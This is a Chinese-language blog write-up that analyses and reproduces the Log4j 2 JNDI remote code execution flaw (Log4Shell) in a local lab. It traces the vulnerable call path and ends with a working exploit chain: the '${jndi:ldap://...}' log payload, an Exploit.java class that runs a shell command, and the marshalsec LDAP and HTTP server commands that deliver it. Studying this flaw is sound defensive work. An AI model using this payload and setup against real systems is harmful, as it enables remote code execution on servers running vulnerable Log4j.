Apache Log4j 漏洞利用分析
- 一、影響范圍
- 二、復現環境
- 三、 漏洞分析
- 四、 漏洞利用
- 1、 撰寫利用類
- 2、 開啟ldap服務
歡迎大家關注我的公眾號“嘀嗒安全”
Apache Log4j 專案被爆存在遠程代碼執行漏洞,且利用簡單,影響危害巨大,光是引入了 log4j2 依賴的組件都是數不清,更別提專案本身可能存在的風險了,復現漏洞來學習一下,希望可以幫助到大家,
一、影響范圍
參考了版本處于2.x < 2.15.0-rc2的 Apache log4j-core的應用專案或組件
二、復現環境
Log4j-core 2.14.1
Marshalsec
JDK-1.8.0_221
三、 漏洞分析
測驗代碼如下:
#log4j,java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//The default trusturlcodebase of the higher version JDK is false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}");
}
}
#pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<!--
add properties to fix compilation error
source contribution from stack overflow link
https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile
-->
<properties>
<maven.compiler.source>6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
<!--
add assembly to fix noclassfound error in
java -cp log4j-rce-1.0-SNAPSHOT.jar log4j
use the following instead
java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
source contribution from the following link
https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml
-->
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.19.1</version>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
根據官方的修訂資訊:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Q0ZcpRjC-1640939536386)(log4j2 JNDI 注入漏洞分析.assets/image-20211229005319069.png)]](https://img.uj5u.com/2022/01/02/2941800207573412.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xuBMB0Q9-1640939536388)(log4j2 JNDI 注入漏洞分析.assets/image-20211229005402694.png)]](https://img.uj5u.com/2022/01/02/2941800207573413.png)
可以知道,是通過 jndi 中 LDAP 注入的方式實作了 RCE
JNDI lookup 的用法:
JndiLookup 允許通過 JNDI 檢索變數,然后給了示例:
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
實際上通過 log4j2 支持的方法那張圖中就可以發現log4j 中 jdni 的用法格式如下:
${jndi:JNDIContent}
既然明確了lookup是觸發漏洞的點,并且找到了可以觸發 lookup的方法 ,那么就可以找入口點,只要找到入口點,然后傳入 jndi 呼叫 ldap 的方式,就能夠實作 RCE,
那么,哪一個入口點可以傳入${jndi:JNDIContent}呢?
沒錯了,就是LogManager.getLogger().xxxx()方法
在log4j2中,共有8 個日志級別,可以通過LogManager.getLogger()呼叫記錄日志的方法如下:
LogManager.getLogger().error()
LogManager.getLogger().fatal()
LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pbbizBdo-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211227015713611.png)]](https://img.uj5u.com/2022/01/02/2941800207573414.png)
上述串列中,error()和fatal()方法可默認觸發漏洞,其余的方法需要配置日志級別才可以觸發漏洞,
只有當當前事件的日志等級大于等于設定的日志等級時,才會符合條件,進入logMessage()方法
由于這些呼叫方法觸發漏洞的原理都是一樣的,所以本文就以 error 舉例說明,
查看 error 的類繼承關系可以發現,實際上會呼叫AbstractLogger.java中的public void error()方法:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fHWpBJ4t-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211228014323187.png)]](https://img.uj5u.com/2022/01/02/2941800207573415.png)
因為在logIfEnabled方法中,對當前日志等級進行了一次判斷:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-WdprZNRd-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211228015252410.png)]](https://img.uj5u.com/2022/01/02/294180020757341.png)
如果符合,那么會進行logMessage操作
后續不關鍵呼叫路徑如下:
logMessage ---->
logMessageSafely ---->
logMessageTrackRecursion ---->
tryLogMessage ---->
log
不動態除錯的情況下跟log方法會到AbstractLogger.log方法,實際上這里是org.apache.logging.log4j.core.Loggger.log方法
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6QrMH7X6-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211228222327961.png)]](https://img.uj5u.com/2022/01/02/294180020757342.png)
Loggger.log ---->
DefaultReliabilityStrategy.log ---->
loggerConfig.log ---->
processLogEvent ---->
callAppenders---->
AppenderControl.callAppenders ---->
tryCallAppender ---->
AbstractOutputStreamAppender.append ---->
tryAppend ---->
directEncodeEvent ---->
PatternLayout.encode ---->
toText ---->
toSerializable ---->
format
這里的formatters方法包含了多個formatter物件,其中出發漏洞的是第8個,其中包含MessagePatternConverter
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-BJmjZzVX-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211229003932739.png)]](https://img.uj5u.com/2022/01/02/2941800207573416.png)
繼續跟著代碼走下去,走到了MessagePatternCoverter.class檔案的format函式下;
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pepzhhQ9-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211228021242458.png)]](https://img.uj5u.com/2022/01/02/294180020757343.png)
如果檢測到$字符后跟了一個{字符,那么會對直到}中間的內容進行決議并replace,
繼續跟進就進入到了 StrSubstitutor的substitute函式下
這里就是漏洞發生的主要部分了,基本上是遞回處理里面的語法內容,還有一些內置的語法
prefixMatcher是${
suffixMatcher是}
其實這里是觸發漏洞的必要條件,通常情況下程式員會這樣寫日志相關代碼
logger.error("error_message:" + info);
黑客的惡意輸入有可能進入info變數導致這里變成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
這里的遞回處理成功地讓jndi:ldap://127.0.0.1:1389/badClassName進入resolveVariable方法
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-c1ospfWg-1640939536392)(log4j2 JNDI 注入漏洞分析.assets/image-20211228022427532.png)]](https://img.uj5u.com/2022/01/02/294180020757344.png)
進過語法處理,varname會被修改為對應語法的對應部分(重要繞過),最后會進入resolveVariable()方法中
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pHppVFMS-1640939536393)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024102396.png)]](https://img.uj5u.com/2022/01/02/294180020757345.png)
而resolveVariable這里則直接根據不同的協議進入相應的lookup,其中jndi.lookup就會導致漏洞,而lookup支持的協議也有很多種包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-M3IwMlrC-1640939536393)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024237750.png)]](https://img.uj5u.com/2022/01/02/294180020757346.png)
在Interpolator.lookup方法中,首先會獲取字串的前綴值:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-J7QxXBAy-1640939536394)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024535528.png)]](https://img.uj5u.com/2022/01/02/294180020757347.png)
如果匹配到內置方法,那么就進入對應的處理方法,這里是 JNDI 方法,那么就會由JndiLookup類進一步處理:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0DJml0yz-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024812847.png)]](https://img.uj5u.com/2022/01/02/294180020757348.png)
最終加載由攻擊者傳入的LDAP服務端地址,然后回傳一個惡意的JNDI Reference物件,觸發漏洞,實作 RCE,
四、 漏洞利用
1、 撰寫利用類
因為利用ldap方式進行命令執行,首先要撰寫最后的命令執行代碼,
Exploit.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="touch /tmp/xxx";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null) {
System.out.println(line); }
}catch (IOException e){
e.printStackTrace();
} }
}).start(); }}
編譯代碼后,
javac Exploit.java
開啟HTTP服務
python -m http.server
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lLCxjxdT-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211225004933996.png)]](https://img.uj5u.com/2022/01/02/294180020757349.png)
2、 開啟ldap服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-aaCWdFNE-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211225004952133.png)]](https://img.uj5u.com/2022/01/02/2941800207573410.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8B51Wwkr-1640939536396)(log4j2 JNDI 注入漏洞分析.assets/image-20211229004424822.png)]](https://img.uj5u.com/2022/01/02/2941800207573417.png)
希望可以對大家有所幫助哦!!!
圖片是我的公眾號重新截圖,所以有些模糊,大家見諒哦~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/400460.html
標籤:其他
